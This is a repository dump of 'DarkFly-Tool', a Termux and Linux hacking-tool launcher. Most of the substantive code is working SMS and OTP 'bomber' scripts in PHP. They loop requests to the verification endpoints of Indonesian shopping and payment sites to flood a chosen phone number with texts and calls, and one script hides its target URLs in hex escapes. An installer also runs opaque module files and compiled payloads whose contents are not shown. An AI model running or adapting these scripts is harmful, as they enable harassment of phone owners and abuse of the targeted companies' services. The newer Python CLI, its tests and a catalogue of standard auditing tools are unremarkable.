├── .module ├── A.ms ├── B.ms ├── C.ms ├── D.ms ├── E.ms ├── F.ms ├── G.ms ├── H.ms ├── __menu__ ├── DU.la ├── jalurU.ms ├── malam ├── DarkFly ├── Du ├── IN.ms ├── PindahU.ms ├── __done__ ├── __install__ ├── DarkFly2 ├── jalurT.ms ├── files │ ├── ngentot │ ├── .BR │ ├── .DF │ ├── .FN │ ├── .INF │ ├── .MN │ ├── .SPM │ ├── .MNBS │ └── .STDOWN ├── ngentot.ms ├── pacar.ms ├── pindahT.ms ├── .BR ├── .DF ├── .FN ├── .INF ├── .MN ├── .MNBS ├── .SPM ├── PINDAHT.txt ├── .STDOWN ├── .remove ├── __baner__ ├── __baner2__ └── __ini__ ├── lib ├── ngentot ├── __.py ├── _.pyc ├── lazada_bomber.pyc ├── lazada.py ├── PHD.php ├── tokopedia.php ├── matahari.php ├── kfc.php ├── telkom.php ├── jd.id.php ├── hac.php ├── func.php ├── bommthrml.php ├── bomkfc.php ├── lite.php ├── _0_.py └── lokmed.php ├── .JM.xn ├── darkfly ├── __init__.py └── cli.py ├── pyproject.toml ├── .github └── workflows │ └── python-publish.yml ├── tests └── test_cli.py ├── darkfly_tools.json ├── install.py └── README.md /.module/A.ms: -------------------------------------------------------------------------------- 1 | .MN 2 | -------------------------------------------------------------------------------- /.module/B.ms: -------------------------------------------------------------------------------- 1 | .DF 2 | -------------------------------------------------------------------------------- /.module/C.ms: -------------------------------------------------------------------------------- 1 | .SPM 2 | -------------------------------------------------------------------------------- /.module/D.ms: -------------------------------------------------------------------------------- 1 | .MNBS 2 | -------------------------------------------------------------------------------- /.module/E.ms: -------------------------------------------------------------------------------- 1 | .INF 2 | -------------------------------------------------------------------------------- /.module/F.ms: -------------------------------------------------------------------------------- 1 | .FN 2 | -------------------------------------------------------------------------------- /.module/G.ms: -------------------------------------------------------------------------------- 1 | .BR 2 | -------------------------------------------------------------------------------- /lib/ngentot: -------------------------------------------------------------------------------- 1 | hello 2 | -------------------------------------------------------------------------------- /.module/H.ms: -------------------------------------------------------------------------------- 1 | .STDOWN 2 | -------------------------------------------------------------------------------- /.module/__menu__: -------------------------------------------------------------------------------- 1 | [*] Choose : -------------------------------------------------------------------------------- /.module/DU.la: -------------------------------------------------------------------------------- 1 | [*] Done... 2 | -------------------------------------------------------------------------------- /.module/jalurU.ms: -------------------------------------------------------------------------------- 1 | /usr/bin 2 | -------------------------------------------------------------------------------- /.module/malam: -------------------------------------------------------------------------------- 1 | Malam jones! 2 | -------------------------------------------------------------------------------- /.module/DarkFly: -------------------------------------------------------------------------------- 1 | cd …/cd~/...sqlmap.git -------------------------------------------------------------------------------- /.module/Du: -------------------------------------------------------------------------------- 1 | [*] run Type "DarkFly" 2 | -------------------------------------------------------------------------------- /.module/IN.ms: -------------------------------------------------------------------------------- 1 | [*] installing... 2 | -------------------------------------------------------------------------------- /lib/__.py: -------------------------------------------------------------------------------- 1 | import _ 2 | ilucx.start() -------------------------------------------------------------------------------- /.module/PindahU.ms: -------------------------------------------------------------------------------- 1 | mv lib $cd /usr/bin 2 | -------------------------------------------------------------------------------- /.module/__done__: -------------------------------------------------------------------------------- 1 | [*] Back or Exit [B/E]: >> -------------------------------------------------------------------------------- /.module/__install__: -------------------------------------------------------------------------------- 1 | #----------[ installing ] -------------------------------------------------------------------------------- /.module/DarkFly2: -------------------------------------------------------------------------------- 1 | search …/cd~/github/...RED_HAWK.git -------------------------------------------------------------------------------- /.module/jalurT.ms: -------------------------------------------------------------------------------- 1 | /data/data/com.termux/files/usr/bin 2 | -------------------------------------------------------------------------------- /.module/files/ngentot: -------------------------------------------------------------------------------- 1 | btw lo kontol !! 2 | Fuck ngentot :v 3 | -------------------------------------------------------------------------------- /.module/ngentot.ms: -------------------------------------------------------------------------------- 1 | /data/data/com.termux/files/usr/bin/lib 2 | -------------------------------------------------------------------------------- /.module/pacar.ms: -------------------------------------------------------------------------------- 1 | rm -rf /data/data/com.termux/files/usr/bin/lib 2 | -------------------------------------------------------------------------------- /.JM.xn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.JM.xn -------------------------------------------------------------------------------- /.module/pindahT.ms: -------------------------------------------------------------------------------- 1 | mv lib $cd /data/data/com.termux/files/usr/bin 2 | -------------------------------------------------------------------------------- /lib/_.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/lib/_.pyc -------------------------------------------------------------------------------- /.module/.BR: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/.BR -------------------------------------------------------------------------------- /.module/.DF: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/.DF -------------------------------------------------------------------------------- /.module/.FN: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/.FN -------------------------------------------------------------------------------- /.module/.INF: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/.INF -------------------------------------------------------------------------------- /.module/.MN: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/.MN -------------------------------------------------------------------------------- /.module/.MNBS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/.MNBS -------------------------------------------------------------------------------- /.module/.SPM: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/.SPM -------------------------------------------------------------------------------- /.module/PINDAHT.txt: -------------------------------------------------------------------------------- 1 | mv .module/.remove $cd /data/data/com.termux/files/usr/bin 2 | -------------------------------------------------------------------------------- /.module/.STDOWN: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/.STDOWN -------------------------------------------------------------------------------- /.module/.remove: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/.remove -------------------------------------------------------------------------------- /.module/files/.BR: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/files/.BR -------------------------------------------------------------------------------- /.module/files/.DF: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/files/.DF -------------------------------------------------------------------------------- /.module/files/.FN: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/files/.FN -------------------------------------------------------------------------------- /.module/files/.INF: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/files/.INF -------------------------------------------------------------------------------- /.module/files/.MN: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/files/.MN -------------------------------------------------------------------------------- /.module/files/.SPM: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/files/.SPM -------------------------------------------------------------------------------- /.module/files/.MNBS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/files/.MNBS -------------------------------------------------------------------------------- /.module/files/.STDOWN: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/.module/files/.STDOWN -------------------------------------------------------------------------------- /lib/lazada_bomber.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/reblox01/DarkFly-Tool/HEAD/lib/lazada_bomber.pyc -------------------------------------------------------------------------------- /.module/__baner__: -------------------------------------------------------------------------------- 1 | ____ _ _____ _ 2 | | _ \ __ _ _ __| | _| ___| |_ _ 3 | | | | |/ _` | '__| |/ / |_ | | | | | 4 | | |_| | (_| | | | <| _| | | |_| | 5 | |____/ \__,_|_| |_|\_\_| |_|\__, | 6 | |___/ V.4.0 -------------------------------------------------------------------------------- /darkfly/__init__.py: -------------------------------------------------------------------------------- 1 | """Modern Python 3 implementation of the DarkFly CLI. 2 | 3 | This package is intended to live alongside the legacy Python 2 installer 4 | and menu system, providing a cleaner, configurable interface for 5 | installing and managing tools. 6 | """ 7 | 8 | __all__ = ["__version__"] 9 | 10 | __version__ = "5.0.0a1" 11 | -------------------------------------------------------------------------------- /.module/__baner2__: -------------------------------------------------------------------------------- 1 | ______ ___ ___ _ _____ 2 | | T / \ / \ | T / ___/ 3 | | |Y YY Y| | ( \_ 4 | l_j l_j| O || O || l___ \__ T 5 | | | | || || T/ \ | 6 | | | l !l !| |\ | 7 | l__j \___/ \___/ l_____j \___j 8 | ________________________________ 9 | |________________________________| -------------------------------------------------------------------------------- /lib/lazada.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # bomber lazada || 23-12-2017 3 | # gunakan ini sebagai pembelajaran saja! 4 | import lazada_bomber 5 | # __ __ 6 | # / /_ ____ ____ ___ / /_ ___ _____ 7 | # / __ \/ __ \/ __ `__ \/ __ \/ _ \/ ___/ 8 | # / /_/ / /_/ / / / / / / /_/ / __/ / 9 | #/_.___/\____/_/ /_/ /_/_.___/\___/_/ 10 | # /_/thePriVat bomber lazada -------------------------------------------------------------------------------- /.module/__ini__: -------------------------------------------------------------------------------- 1 | https://github.com/* 2 | https://github.com/* 3 | https://github.com/* 4 | https://github.com/* 5 | https://github.com/* 6 | https://github.com/* 7 | https://github.com/* 8 | https://github.com/* 9 | https://github.com/* 10 | https://github.com/* 11 | https://github.com/* 12 | https://github.com/* 13 | https://github.com/* 14 | https://github.com/* 15 | https://github.com/* 16 | https://github.com/* 17 | https://github.com/* -------------------------------------------------------------------------------- /lib/PHD.php: -------------------------------------------------------------------------------- 1 | no = "$a"; 16 | echo "Jumlah Pesan: "; 17 | $b = trim(fgets(STDIN)); 18 | $loop = "$b"; 19 | for ($i=0; $i < $loop; $i++) { 20 | $init->Verif($init->no); 21 | } 22 | -------------------------------------------------------------------------------- /lib/tokopedia.php: -------------------------------------------------------------------------------- 1 | no = "$a"; 16 | $init->type = 2; //Type 2 untuk telpon, Type 1 untuk sms 17 | //$init->no = "0895371761108"; //Nomer Hp tujuan 18 | 19 | if ($init->type == 1) { 20 | for ($i=0; $i < 2; $i++) { 21 | $init->Verif($init->no,$init->type); 22 | } 23 | }elseif ($init->type == 2) { 24 | $init->Verif($init->no,$init->type); 25 | } 26 | -------------------------------------------------------------------------------- /lib/matahari.php: -------------------------------------------------------------------------------- 1 | email = "zumupolij@c1oramn.com"; 13 | $init->pass = "Hilih kintil"; 14 | $init->Login($init->email,$init->pass); 15 | 16 | //Eksekusi Sms Boomber 17 | echo "Nomor Target (pakai 62): "; 18 | $a = trim(fgets(STDIN)); 19 | $init->no = "$a"; 20 | echo "Jumlah Pesan : "; 21 | $b = trim(fgets(STDIN)); 22 | $loop = "$b"; 23 | for ($i=0; $i < $loop; $i++) { 24 | $init->Verif($init->no); 25 | } 26 | -------------------------------------------------------------------------------- /lib/kfc.php: -------------------------------------------------------------------------------- 1 | no = "$a"; 24 | echo "Jumlah Pesan\nInput : "; 25 | $b = trim(fgets(STDIN)); 26 | $loop = "$b"; 27 | for ($i=0; $i < $loop; $i++) { 28 | $init->Verif($init->no); 29 | } 30 | 31 | -------------------------------------------------------------------------------- /lib/telkom.php: -------------------------------------------------------------------------------- 1 | 29 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools>=61", "wheel"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [project] 6 | name = "darkfly-tool-modern" 7 | version = "5.0.0a1" 8 | description = "Modern Python 3 CLI for DarkFly-Tool (wrapper/launcher for security tools)" 9 | readme = "README.md" 10 | requires-python = ">=3.10" 11 | license = { text = "GPL-3.0-or-later" } 12 | authors = [ 13 | { name = "DarkFly-Tool maintainers" } 14 | ] 15 | classifiers = [ 16 | "Programming Language :: Python :: 3", 17 | "Programming Language :: Python :: 3 :: Only", 18 | "Programming Language :: Python :: 3.10", 19 | "License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)", 20 | "Environment :: Console", 21 | "Operating System :: POSIX :: Linux" 22 | ] 23 | 24 | [project.optional-dependencies] 25 | # Keep dependencies minimal; YAML can be added later if desired. 26 | dev = [ 27 | "pytest>=7", 28 | "pytest-cov>=4", 29 | ] 30 | 31 | [project.scripts] 32 | # New modern CLI entrypoint 33 | DarkFly5 = "darkfly.cli:main" 34 | 35 | # Minimal setuptools-style config to treat src as package root 36 | [tool.setuptools] 37 | package-dir = {"" = "."} 38 | 39 | [tool.setuptools.packages.find] 40 | where = ["."] 41 | include = ["darkfly*"] 42 | -------------------------------------------------------------------------------- /lib/jd.id.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.github/workflows/python-publish.yml: -------------------------------------------------------------------------------- 1 | # This workflow will upload a Python Package using Twine when a release is created 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python#publishing-to-package-registries 3 | 4 | # This workflow uses actions that are not certified by GitHub. 5 | # They are provided by a third-party and are governed by 6 | # separate terms of service, privacy policy, and support 7 | # documentation. 8 | 9 | name: Upload Python Package 10 | 11 | on: 12 | release: 13 | types: [published] 14 | 15 | permissions: 16 | contents: read 17 | 18 | jobs: 19 | deploy: 20 | 21 | runs-on: ubuntu-latest 22 | 23 | steps: 24 | - uses: actions/checkout@v3 25 | - name: Set up Python 26 | uses: actions/setup-python@v3 27 | with: 28 | python-version: '3.x' 29 | - name: Install dependencies 30 | run: | 31 | python -m pip install --upgrade pip 32 | pip install build 33 | - name: Build package 34 | run: python -m build 35 | - name: Publish package 36 | uses: pypa/gh-action-pypi-publish@27b31702a0e7fc50959f5ad993c78deac1bdfc29 37 | with: 38 | user: __token__ 39 | password: ${{ secrets.PYPI_API_TOKEN }} 40 | -------------------------------------------------------------------------------- /lib/hac.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/test_cli.py: -------------------------------------------------------------------------------- 1 | import json 2 | from pathlib import Path 3 | 4 | import darkfly.cli as cli 5 | 6 | 7 | def test_iter_tools_uses_builtin_when_no_config(tmp_path: Path, monkeypatch): 8 | # Run with CWD in a temp directory that has no darkfly_tools.json 9 | monkeypatch.chdir(tmp_path) 10 | config = cli._load_config() 11 | tools = cli._iter_tools(config) 12 | 13 | assert tools, "Expected at least one built-in example tool" 14 | assert any(t.id == "nmap" for t in tools) 15 | 16 | 17 | def test_cli_list_works_with_builtin_config(monkeypatch, capsys, tmp_path: Path): 18 | monkeypatch.chdir(tmp_path) 19 | exit_code = cli.main(["list"]) 20 | captured = capsys.readouterr() 21 | 22 | assert exit_code == 0 23 | assert "nmap" in captured.out 24 | 25 | 26 | def test_cli_respects_json_config(tmp_path: Path, monkeypatch): 27 | # Write a custom config file and ensure it is picked up. 28 | cfg = { 29 | "categories": [ 30 | { 31 | "id": "custom", 32 | "name": "Custom", 33 | "tools": [ 34 | { 35 | "id": "mytool", 36 | "name": "My Tool", 37 | "description": "Custom tool", 38 | "install_commands": ["echo install-mytool"], 39 | } 40 | ], 41 | } 42 | ] 43 | } 44 | (tmp_path / "darkfly_tools.json").write_text(json.dumps(cfg), encoding="utf-8") 45 | monkeypatch.chdir(tmp_path) 46 | 47 | config = cli._load_config() 48 | tools = cli._iter_tools(config) 49 | 50 | assert any(t.id == "mytool" for t in tools) 51 | assert not any(t.id == "nmap" for t in tools), "Expected only custom tools when config exists" 52 | -------------------------------------------------------------------------------- /lib/func.php: -------------------------------------------------------------------------------- 1 | no; 51 | $type = $this->type; 52 | if ($type == 1) { 53 | $data = "msisdn={$no}&accept="; 54 | }elseif ($type == 2) { 55 | $data = "msisdn={$no}&accept=call"; 56 | } 57 | $send = $this->sendC($url, null, $data); 58 | // echo $send; 59 | if (preg_match('/otp_attempt_left/', $send)) { 60 | print('LiteSpam Sukses!★'); 61 | } else { 62 | print('Gagal Dikirim!★'); 63 | } 64 | } 65 | 66 | 67 | } 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /lib/bommthrml.php: -------------------------------------------------------------------------------- 1 | email; 52 | $pass = $this->pass; 53 | $data = "email={$email}&passwd={$pass}"; 54 | $send = $this->sendC($url, null, $data); 55 | if (preg_match('/sukses/', $send)) { 56 | // print('Login success
'); 57 | } else { 58 | // print("Login failed
"); 59 | } 60 | } 61 | 62 | public function Verif() 63 | { 64 | $url = "https://www.mataharimall.com/user/ajax/requestotp"; 65 | $no = $this->no; 66 | $data = "phone_number={$no}"; 67 | $send = $this->sendC($url, null, $data); 68 | if (preg_match('/Kode OTP berhasil dikirim/', $send)) { 69 | print('send success'); 70 | } else { 71 | print('send failed'); 72 | } 73 | } 74 | 75 | 76 | } 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /lib/bomkfc.php: -------------------------------------------------------------------------------- 1 | no; 73 | $data = "fullname=wahhuwauh+ayam&handphone={$no}&email={$this->angka()}{$this->huruf()}%40gmail.com&password=peler123&confirm_password=peler123&language_id=ID&X-API-KEY=563f204a20876f1fa0b20523bdfd0728"; 74 | $send = $this->sendC($url, null, $data); 75 | if (preg_match('/Invalid Handphone Number!/', $send)) { 76 | print('OTP send failed
'); 77 | flush(); 78 | ob_flush(); 79 | sleep(1); 80 | } else { 81 | print('OTP send success
'); 82 | flush(); 83 | ob_flush(); 84 | sleep(1); 85 | } 86 | } 87 | 88 | 89 | } 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /darkfly_tools.json: -------------------------------------------------------------------------------- 1 | { 2 | "categories": [ 3 | { 4 | "id": "information_gathering", 5 | "name": "Information Gathering", 6 | "tools": [ 7 | { 8 | "id": "nmap", 9 | "name": "Nmap", 10 | "description": "Network mapper for host discovery, port scanning, and simple service enumeration.", 11 | "install_commands": [ 12 | "sudo apt install nmap", 13 | "# Termux: pkg install nmap" 14 | ] 15 | }, 16 | { 17 | "id": "whois", 18 | "name": "whois", 19 | "description": "Query registration information for domains and IP addresses.", 20 | "install_commands": [ 21 | "sudo apt install whois", 22 | "# Termux: pkg install whois" 23 | ] 24 | }, 25 | { 26 | "id": "dnsenum", 27 | "name": "dnsenum", 28 | "description": "Enumerate DNS information for a given domain.", 29 | "install_commands": [ 30 | "sudo apt install dnsenum", 31 | "# Termux: pkg install dnsenum (if available)" 32 | ] 33 | } 34 | ] 35 | }, 36 | { 37 | "id": "web_scanners", 38 | "name": "Web Scanners", 39 | "tools": [ 40 | { 41 | "id": "nikto", 42 | "name": "Nikto", 43 | "description": "Web server scanner that looks for common vulnerabilities and misconfigurations.", 44 | "install_commands": [ 45 | "sudo apt install nikto", 46 | "# Termux: pkg install nikto (if available)" 47 | ] 48 | }, 49 | { 50 | "id": "sqlmap", 51 | "name": "sqlmap", 52 | "description": "Automated tool for detecting and exploiting SQL injection vulnerabilities for authorized testing.", 53 | "install_commands": [ 54 | "sudo apt install sqlmap", 55 | "# Termux: pkg install sqlmap" 56 | ] 57 | } 58 | ] 59 | }, 60 | { 61 | "id": "password_attacks", 62 | "name": "Password Attacks", 63 | "tools": [ 64 | { 65 | "id": "hydra", 66 | "name": "Hydra", 67 | "description": "Network login cracker supporting many protocols (use only on systems you are authorized to test).", 68 | "install_commands": [ 69 | "sudo apt install hydra", 70 | "# Termux: pkg install hydra (if available)" 71 | ] 72 | }, 73 | { 74 | "id": "john", 75 | "name": "John the Ripper", 76 | "description": "Password cracker for offline password hash auditing.", 77 | "install_commands": [ 78 | "sudo apt install john", 79 | "# Termux: pkg install john (if available)" 80 | ] 81 | } 82 | ] 83 | }, 84 | { 85 | "id": "wireless", 86 | "name": "Wireless", 87 | "tools": [ 88 | { 89 | "id": "aircrack-ng", 90 | "name": "aircrack-ng", 91 | "description": "Suite of tools for wireless network auditing (WEP/WPA handshake capture and analysis).", 92 | "install_commands": [ 93 | "sudo apt install aircrack-ng", 94 | "# Termux: pkg install aircrack-ng (if available)" 95 | ] 96 | } 97 | ] 98 | } 99 | ] 100 | } 101 | -------------------------------------------------------------------------------- /lib/lite.php: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env php 2 | ".$X."\n"); 34 | case SIGKILL: 35 | die($Y."\n=========================== Cvar1984 ))=====(@)>".$X."\n"); 36 | case SIGINT: 37 | die($Y."\n=========================== Cvar1984 ))=====(@)>".$X."\n"); 38 | } 39 | } 40 | pcntl_signal(SIGTERM, "signal_handler"); 41 | pcntl_signal(SIGINT, "signal_handler"); 42 | } 43 | function post_data($url,$data) { 44 | global $ua; 45 | $ch=curl_init($url); 46 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 47 | curl_setopt($ch, CURLOPT_USERAGENT, $ua); 48 | curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 49 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 50 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 51 | return curl_exec($ch); 52 | curl_close($ch); 53 | } 54 | echo $Y. 55 | " 56 | _ _ _ ___ _____ ____ 57 | | | (_) |_ ___ / _ \_ _| _ \ 58 | | | | | __/ _ \ | | || | | |_) | 59 | | |___| | || __/ |_| || | | __/ 60 | |_____|_|\__\___|\___/ |_| |_|"; 61 | echo $R."\n++++++++++++++++++++++++++++++++++++++"; 62 | echo $B."\nAuthor : Cvar1984 ".$R.'+'; 63 | echo $B."\nGithub : https://github.com/Cvar1984".$R.'+'; 64 | echo $B."\nTeam : BlackHole Security ".$R.'+'; 65 | echo $B."\nVersion : 2.4 ".$R.'+'; 66 | echo $B."\nDate : 13-03-2018 ".$R.'+'; 67 | echo $R."\n++++++++++++++++++++++++++++++++++++++".$G.$X."\n\n"; 68 | isset($argv[1]) OR die($RR."[!] Input No List [!]\n".$X); 69 | if(is_numeric($argv[1])) { 70 | echo "Calling -> ".$G.$argv[1].$X."\n"; 71 | post_data("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x74\x6f\x6b\x6f\x63\x61\x73\x68\x2e\x63\x6f\x6d\x2f\x6f\x61\x75\x74\x68\x2f\x6f\x74\x70","msisdn=".$argv[1]."&accept=call"); 72 | while(1) { 73 | echo "Send OTP To -> ".$G.$argv[1].$X."\n"; 74 | post_data("\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x2e\x6a\x64\x2e\x69\x64\x2f\x70\x68\x6f\x6e\x65\x2f\x73\x65\x6e\x64\x50\x68\x6f\x6e\x65\x53\x6d\x73","phone=".$argv[1]."&smsType=1"); 75 | post_data("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x70\x68\x64\x2e\x63\x6f\x2e\x69\x64\x2f\x65\x6e\x2f\x75\x73\x65\x72\x73\x2f\x73\x65\x6e\x64\x4f\x54\x50","phone_number=".$argv[1]); 76 | } 77 | } 78 | if(!file_exists($argv[1])) { 79 | die($RR."[!] File Not Exists [!]".$X."\n"); 80 | } 81 | $argv[1]=explode("\n",file_get_contents($argv[1])); 82 | $argv[1]=str_replace(' ','',$argv[1]); 83 | foreach($argv[1] as $argv[2]): 84 | echo "Calling -> ".$G.$argv[2].$X."\n"; 85 | post_data("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x74\x6f\x6b\x6f\x63\x61\x73\x68\x2e\x63\x6f\x6d\x2f\x6f\x61\x75\x74\x68\x2f\x6f\x74\x70","msisdn=".$argv[2]."&accept=call"); 86 | endforeach; 87 | while(1) { 88 | foreach($argv[1] as $argv[2]): 89 | echo "Send OTP To -> ".$G.$argv[2].$X."\n"; 90 | post_data("\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x2e\x6a\x64\x2e\x69\x64\x2f\x70\x68\x6f\x6e\x65\x2f\x73\x65\x6e\x64\x50\x68\x6f\x6e\x65\x53\x6d\x73","phone=".$argv[2]."&smsType=1"); 91 | post_data("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x70\x68\x64\x2e\x63\x6f\x2e\x69\x64\x2f\x65\x6e\x2f\x75\x73\x65\x72\x73\x2f\x73\x65\x6e\x64\x4f\x54\x50","phone_number=".$argv[2]); 92 | endforeach; 93 | } -------------------------------------------------------------------------------- /lib/_0_.py: -------------------------------------------------------------------------------- 1 | # Program= Ular 2 | # Mod By= Ambari Channel 3 | # Use ARROW KEYS to play, SPACE BAR for pausing/resuming and Esc Key for exiting 4 | 5 | import curses 6 | from curses import KEY_RIGHT, KEY_LEFT, KEY_UP, KEY_DOWN 7 | from random import randint 8 | 9 | print" _ _ _" 10 | print" / \ _ __ ___ | |__ __ _ _ __ (_)" 11 | print" / _ \ | '_ ` _ \ | '_ \ / _` | | '__| | |" 12 | print" / ___ \ | | | | | | | |_) | | (_| | | | | |" 13 | print"/_/ \_\ |_| |_| |_| |_.__/ \__,_| |_| |_|" 14 | print 15 | print" ____ _ _" 16 | print"/ ___| | |__ __ _ _ __ _ __ ___ | |" 17 | print"|| | '_ \ / _` | | '_ \ | '_ \ / _ \ | |" 18 | print"||___ | | | | | (_| | | | | | | | | | | __/ | |" 19 | print"\____| |_| |_| \__,_| |_| |_| |_| |_| \___| |_|" 20 | print 21 | print 22 | start = raw_input ("#Start Sekarang?[y/n]:") 23 | 24 | curses.initscr() 25 | win = curses.newwin(20, 60, 0, 0) 26 | win.keypad(1) 27 | curses.noecho() 28 | curses.curs_set(0) 29 | win.border(0) 30 | win.nodelay(1) 31 | 32 | key = KEY_RIGHT # Initializing values 33 | score = 0 34 | 35 | snake = [[4,10], [4,9], [4,8]] # Initial snake co-ordinates 36 | food = [10,20] # First food co-ordinates 37 | 38 | win.addch(food[0], food[1], '*') # Prints the food 39 | 40 | while key != 27: # While Esc key is not pressed 41 | win.border(0) 42 | win.addstr(0, 2, 'Score : ' + str(score) + ' ') # Printing 'Score' and 43 | win.addstr(0, 27, ' Ular ') # 'SNAKE' strings 44 | win.timeout(150 - (len(snake)/5 + len(snake)/10)%120) # Increases the speed of Snake as its length increases 45 | 46 | prevKey = key # Previous key pressed 47 | event = win.getch() 48 | key = key if event == -1 else event 49 | 50 | 51 | if key == ord(' '): # If SPACE BAR is pressed, wait for another 52 | key = -1 # one (Pause/Resume) 53 | while key != ord(' '): 54 | key = win.getch() 55 | key = prevKey 56 | continue 57 | 58 | if key not in [KEY_LEFT, KEY_RIGHT, KEY_UP, KEY_DOWN, 27]: # If an invalid key is pressed 59 | key = prevKey 60 | 61 | # Calculates the new coordinates of the head of the snake. NOTE: len(snake) increases. 62 | # This is taken care of later at [1]. 63 | snake.insert(0, [snake[0][0] + (key == KEY_DOWN and 1) + (key == KEY_UP and -1), snake[0][1] + (key == KEY_LEFT and -1) + (key == KEY_RIGHT and 1)]) 64 | 65 | # If snake crosses the boundaries, make it enter from the other side 66 | if snake[0][0] == 0: snake[0][0] = 18 67 | if snake[0][1] == 0: snake[0][1] = 58 68 | if snake[0][0] == 19: snake[0][0] = 1 69 | if snake[0][1] == 59: snake[0][1] = 1 70 | 71 | # Exit if snake crosses the boundaries (Uncomment to enable) 72 | #if snake[0][0] == 0 or snake[0][0] == 19 or snake[0][1] == 0 or snake[0][1] == 59: break 73 | 74 | # If snake runs over itself 75 | if snake[0] in snake[1:]: break 76 | 77 | 78 | if snake[0] == food: # When snake eats the food 79 | food = [] 80 | score += 1 81 | while food == []: 82 | food = [randint(1, 18), randint(1, 58)] # Calculating next food's coordinates 83 | if food in snake: food = [] 84 | win.addch(food[0], food[1], '*') 85 | else: 86 | last = snake.pop() # [1] If it does not eat the food, length decreases 87 | win.addch(last[0], last[1], ' ') 88 | win.addch(snake[0][0], snake[0][1], '#') 89 | 90 | curses.endwin() 91 | print("\nScore - " + str(score)) 92 | print("MOD By Ambari Channel") -------------------------------------------------------------------------------- /install.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """ 4 | Author : Ms.ambari 5 | contact : ambari.developer@gmail.com 6 | Github : https://github.com/Ranginang67 7 | my youtube channel : Ms.ambari 8 | 9 | subcribe my youtube Channel to learn ethical Hacking ^_^ 10 | """ 11 | 12 | import sys 13 | import os.path 14 | import subprocess 15 | 16 | ntfile = ['.module', 'lib'] 17 | 18 | ubuntu = '' + str(open('.module/jalurU.ms').read()) 19 | termux = '' + str(open('.module/jalurT.ms').read()) 20 | termlb = '' + str(open('.module/ngentot.ms').read()) 21 | instal = '' + str(open('.module/IN.ms').read()) 22 | 23 | 24 | def _main_(): 25 | if os.path.isdir('' + ubuntu.strip()): 26 | if os.getuid() != 0: 27 | print '[x] Failed: your must be root' 28 | sys.exit() 29 | 30 | if not os.path.isdir(ntfile[0]): 31 | print '[x] Failed: no directory module' 32 | sys.exit() 33 | 34 | if not os.path.isdir(ntfile[1]): 35 | print '[x] Failed: no directory lib' 36 | sys.exit() 37 | else: 38 | 39 | print '' + instal.strip() 40 | 41 | # ==================================================================# 42 | 43 | os.system('python .module/files/' + str(open('.module/A.ms' 44 | ).read())) 45 | os.system('python .module/files/' + str(open('.module/B.ms' 46 | ).read())) 47 | os.system('python .module/files/' + str(open('.module/C.ms' 48 | ).read())) 49 | os.system('python .module/files/' + str(open('.module/D.ms' 50 | ).read())) 51 | os.system('python .module/files/' + str(open('.module/E.ms' 52 | ).read())) 53 | os.system('python .module/files/' + str(open('.module/F.ms' 54 | ).read())) 55 | os.system('python .module/files/' + str(open('.module/G.ms' 56 | ).read())) 57 | os.system('python .module/files/' + str(open('.module/H.ms' 58 | ).read())) 59 | 60 | # ==================================================================# 61 | 62 | if os.path.isdir('/usr/bin/lib'): 63 | os.system('rm -rf /usr/bin/lib') 64 | os.system('' + str(open('.module/pindahU.ms').read())) 65 | os.system('' + str(open('.module/PindahU.ms').read())) 66 | 67 | if not 